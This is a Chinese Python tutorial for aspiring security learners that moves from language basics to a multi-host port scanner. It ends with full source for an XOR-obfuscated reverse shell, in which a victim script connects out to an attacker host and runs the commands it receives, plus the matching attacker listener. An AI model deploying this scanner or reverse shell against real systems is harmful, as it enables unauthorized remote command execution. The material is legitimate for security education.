Python黑客学习笔记：从HelloWorld到编写PoC（上）
中文原文地址：http://www.freebuf.com/news/special/58048.html
本系列文章适合CS在读学生和万年工具党，本文会在英文原文的基础上做些修改，并适当增加些解释说明。
本篇包含原文的前几部分：
0x0 – Getting Started - 从零开始
0x1 – Getting Started Pt.2 - 进阶
0x2 – Port Scanner - 端口扫描
0x3 – Reverse Shell - 反向shell0×0 – Getting Started – 从零开始
Python是一种十分强大的脚本语言，你可以直接的在Python解释器中编写代码或储存在文本中以便于直接执行，本文假设读者已经拥有装载好Python2.x.的Linux操作系统（译者使用的kali Linux），有其他编程经验特别是进行过C/C++语言入门学习的读者需要注意Python中强制使用缩进，我们从打开Python解释器开始。
打开终端，执行'python'命令打开Python解释器：
～$ python
Python 2.7.3
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>>
我们现在就可以在Python解释器中直接编写代码。我们定义两个变量，并用type()函数查看我们定义的变量是字符串还是整形：
>>>
>>> ip = '8.8.8.8'
>>> port = 53
>>> type(ip)
<type 'str'>
>>>
>>> type(port)
<type 'int'>
>>>
很明显，我们定义了名为‘ip’的字符串变量和一个名为‘port’的整形变量，并且我们使用type()函数指出了变量的类型。
我们可以使用内置的help()函数来了解一些特别的函数的功能：
>>>
>>>help(type)
>>>按q退出帮助
将数值转成字符串，并使用‘+’拼接多个字符串然后打印，这是一个常用的功能：
>>>
>>> print "The IP is: " + ip + " and the port is: " + str(port)
The IP is: 8.8.8.8 and the port is: 53
>>>
在上面这条代码中，‘ip’已经是一个字符型变量可以用‘+’直接与其他字符串链接在一起，而‘port’变量需要从数值型转换成字符串型，如果没有使用str()函数，执行结果会报错：
对于字符串，我们还可以进行索引、切片和取长度的操作：
>>>
>>> domain = 'freebuf.com'
>>> domain
'freebuf.com'
>>> domain[0]
'f'
>>> domain[0:7]
'freebuf'
>>> domain[3:]
'ebuf.com'
>>> len(domain)
11
>>>
注意：索引也可以是负值，此时从右侧开始计数，但-0和0一样，负的索引从-1开始。
len()函数可以返回字符串的长度。
split可以将字符串分割成列表：
>>> help(ip.split)
>>> string = ip + ':' + str(port)
>>> string
'8.8.8.8:53'
>>> string.split(':')
['8.8.8.8', '53']
>>>split是一个很有用的功能，在上面的例子里我们指定以‘:’为分隔就字符分割成了一个列表(list)，同时我们可以使用‘append’和‘remove’对列表进行增加和删除的操作：
>>> list = string.split(':')
>>> list
['8.8.8.8', '53']
>>> list[0]
'8.8.8.8'
>>> list[1]
'53'
>>> list.append('google')
>>> list
['8.8.8.8', '53', 'google']
>>> list.remove('google')
>>> list
['8.8.8.8', '53']
>>>
关于更多更详细的关于Python数字和字符串的介绍，请戳http://python.usyiyi.cn/python_278/tutorial/introduction.html#using-python-as-a-calculator
使用Python模块（Modules）可以用更少的代码来实现更复杂的功能，Python有许多内置的模块（os，subprocess，socket，urllib，httplib，re，sys等），并且Python可以使用更多的第三方模块（cymruwhois，scapy，dpkt，spider等）。例如os模块可以在Python里调用系统命令：
>>> import os
>>> os.system("echo 'RnJlZUJ1Zg==' | base64 -d")
FreeBuf0
>>>用Python对文件进行操作，下面的例子将会演示如何创建一个文件对象，并对文件进行读/写：
>>>
>>> file = open('test.txt','w')
>>> file.write('Hello World')
>>> file.close()
>>> file = open('test.txt','r')
>>> file.readlines()
['Hello World']
>>>
退出Python交互界面可以按Ctrl+z
0×1 – Getting Started Pt.2 – 进阶
一个Python脚本的基础结构：
函数的定义，注意在Python组成函数体的语句在下一行开始必须缩进：
def MyFunction:
...do work...
return output#在主函数中调用定义的函数
def main():
output = MyFunction(input)一个完整可执行的函数实例：
#!/usr/bin/python
def fib(n):
a,b = 0,1
while a < n:
print a,
a,b = b,a+b
def main():
fib(20)
if __name__=="__main__":
main()执行的结果是打印了一串菲波那契数，fib(n)被定义生成上界为n的菲波那契数列的函数。
类(Class)：
在Python中，类的概念很有可能会让没有接触过面向对象编程的人感到头疼，完整而又详细的说明(强烈建议）请戳：http://python.usyiyi.cn/python_278/tutorial/classes.html#a-first-look-at-classes在这份说明中会对Python中类进行介绍，下面是一个类的实例，并且调用了linux系统中host命令。
>>> import os
>>> class Domain:
... def __init__(self, domain, port, protocol):
... self.domain = domain
... self.port = port
... self.protocol = protocol
... def URL(self):
... if self.protocol == 'https':
... URL = 'https://'+self.domain+':'+self.port+'/'
... if self.protocol == 'http':
... URL = 'http://'+self.domain+':'+self.port+'/'
... return URL
... def lookup(self):
... os.system("host "+self.domain)
...
>>> domain = Domain('www.freebuf.com', '80', 'http')
>>>
>>> dir(domain)
['URL', '__doc__', '__init__', '__module__', 'domain', 'lookup', 'port', 'protocol']
>>> domain.URL()
'http://www.freebuf.com:80/'
>>> domain.ip
Traceback (most recent call last):
File "" , line 1, in <module>
AttributeError: Domain instance has no attribute 'ip'
>>> domain.port
'80'
>>> domain.protocol
'http'
>>> domain.lookup()
freebuf.com has address 223.5.0.214
>>>
由于我们编写的Python程序是在CLI（command-line interface，命令行界面）下运行的，下面的例子展示了如何使用sys模块让Python程序接收参数，使用任意一种文本编辑器编写下面的代码并保存成“.py"文件：
import sys
script = sys.argv[0]
ip = sys.argv[1]
port = sys.argv[2]
print "[+] The script name is: " + script
print "[+] The IP is: " + ip + " and the port is: " + portsys.argv是一个以字符串形式保存命令行参数的列表，上述代码保存成.py文件执行结果：
0×2 – Port Scanner – 端口扫描
在阅读本节之前，我建议读者再次巩固前两节的知识，并且尝试编写一些.py程序，虽然可能会出现一连串的错误，请不要灰心，本文毕竟不是学习Python语言的捷径，文档和搜索引擎会帮助我们少走很多弯路。
在本节中将会演示如何编写一个简单的Python端口扫面程序。本节中将会利用到socket编程知识，请读者先行预习了解。
在这之前我们先尝试Python中两种循环语法：
while语句用于重复执行直到某个表达式为真：
>>> port = 1000
>>> while port < 1024:
... print "The port is: " + str(port)
... port = port + 1
...
The port is: 1000
The port is: 1001
The port is: 1002
The port is: 1003
The port is: 1004
The port is: 1005
The port is: 1006
The port is: 1007
The port is: 1008
The port is: 1009
The port is: 1010
The port is: 1011
The port is: 1012
The port is: 1013
The port is: 1014
The port is: 1015
The port is: 1016
The port is: 1017
The port is: 1018
The port is: 1019
The port is: 1020
The port is: 1021
The port is: 1022
The port is: 1023
>>>for用法，下面的例子中用到了可以实现遍历一个数字序列的range()函数：
>>>
>>> for port in range(1000, 1024):
... print "[+] The port is: " + str(port)
...
[+] The port is: 1000
[+] The port is: 1001
[+] The port is: 1002
[+] The port is: 1003
[+] The port is: 1004
[+] The port is: 1005
[+] The port is: 1006
[+] The port is: 1007
[+] The port is: 1008
[+] The port is: 1009
[+] The port is: 1010
[+] The port is: 1011
[+] The port is: 1012
[+] The port is: 1013
[+] The port is: 1014
[+] The port is: 1015
[+] The port is: 1016
[+] The port is: 1017
[+] The port is: 1018
[+] The port is: 1019
[+] The port is: 1020
[+] The port is: 1021
[+] The port is: 1022
[+] The port is: 1023
>>>请注意，再次提醒编写Python程序要注意缩进，否则会报错。
上面的代码片段将会成为端口扫描程序的基础框架，我们调用内置的socket模块，尝试几个例子：
首先我在我的机器上开启了ssh服务，这样我的22端口也随之打开
>>> import socket
>>> s = socket.socket()
>>> s.connect(('127.0.0.1', 22))
>>> s.send('FreeBuf \n')
9
>>> banner = s.recv(1024)
>>> print banner
SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2
Protocol mismatch.
>>>在上面的代码片段中调用了socket模块并用connect()函数链接了相应的IP和端口号，这样就会建立一个相应的TCP链接（SYN/SYN-ACK/ACK），用send()函数发送数据并用recv()函数接收相应。我们将端口号改成23（这是一个没有开启的端口），看一下会有什么结果：
>>> import socket
>>> s = socket.socket()
>>> s.connect(('127.0.0.1', 23))
Traceback (most recent call last):
File "" , line 1, in <module>
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused
>>>报错了，我们可以使用‘try/except’来处理报错:
>>> try:
... s.connect(('127.0.0.1', 23))
... except: pass
...
>>>没有出现错误提示，现在我们结合一下上面的代码段，编写一个简单的端口扫描程序：
scan.py：
import socket
for port in range(20,25):
try:
s = socket.socket()
print "[+] Attempting to connect to 127.0.0.1: " + str(port)
s.connect(('127.0.0.1', port))
s.send('scan')
banner = s.recv(1024)
if banner:
print "[+] Port " + str(port) + " open: \n" + banner
s.close()
except: pass运行结果：
也可以将常见端口和要扫描的ip添加进数组：
import socket
ports = [21, 22, 53, 445, 80, 443, 3389, 8080]
hosts = ['127.0.0.1', '10.10.10.10', '192.168.1.1']
for host in hosts:
for port in ports:
try:
s = socket.socket()
print "[+] Attempting to connect to " + host + ":" + str(port)
s.connect((host, port))
s.send('absdkfbsdafblabldsfdbfhasdflbf /n')
banner = s.recv(1024)
if banner:
print "[+] " + host + ":" + str(port) + " open: \n" + banner
s.close()
except:
pass运行结果：
0×3 – Reverse Shell – 反向shell
在本节前读者有必要再进行一个socket通信实验，在这里以UDP作为例子：
server端udp_server.py:
import socket
host = ''
port = 1024
buf_size = 128
addr = (host, port)
udp_server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_server.bind(addr)
while True:
print 'wating for message...'
data, addr = udp_server.recvfrom(buf_size)
print '...received from and return to:' + str(addr) + ": " + data
udp_server.close()client端udp_client.py:
import socket
host = 'localhost'
port = 1024
buf_size = 128
addr = (host, port)
udp_client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
data = raw_input('>')
if not data:
break
udp_client.sendto(data, addr)
udp_client.close()效果如图：
下面是一个简单的反向shell的代码实例，假设我们的反向shell在“受害者”的电脑上运行，“攻击者”可以远程与反向shell进行通信，并在“受害者”的电脑中执行命令并回显结果。
“攻击者”端，与反向shell进行链接，发送指令，接受指令执行的回显：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2048)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " recived connection from : ", ip
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^= 0x41
client.send(encode)
en_data = client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^= 0x41
print decode
client.close()
s.close()“受害者”端，反向shell，与“攻击端”进行链接，接受并执行指令，并发送回显：
#!/usr/bin/python
import socket, subprocess, sys
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
# receive XOR encoded data from network socket
data = s.recv(1024)
# XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^= 0x41
# Execute the decode data as a command.
# The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
comm = subprocess.Popen(str(en_data), shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
comm.wait()
STDOUT, STDERR = comm.communicate()
print STDERR
# Encode the output and send to RHOST
en_STDOUT= bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^= 0x41
s.send(en_STDOUT)
s.close()效果如图：
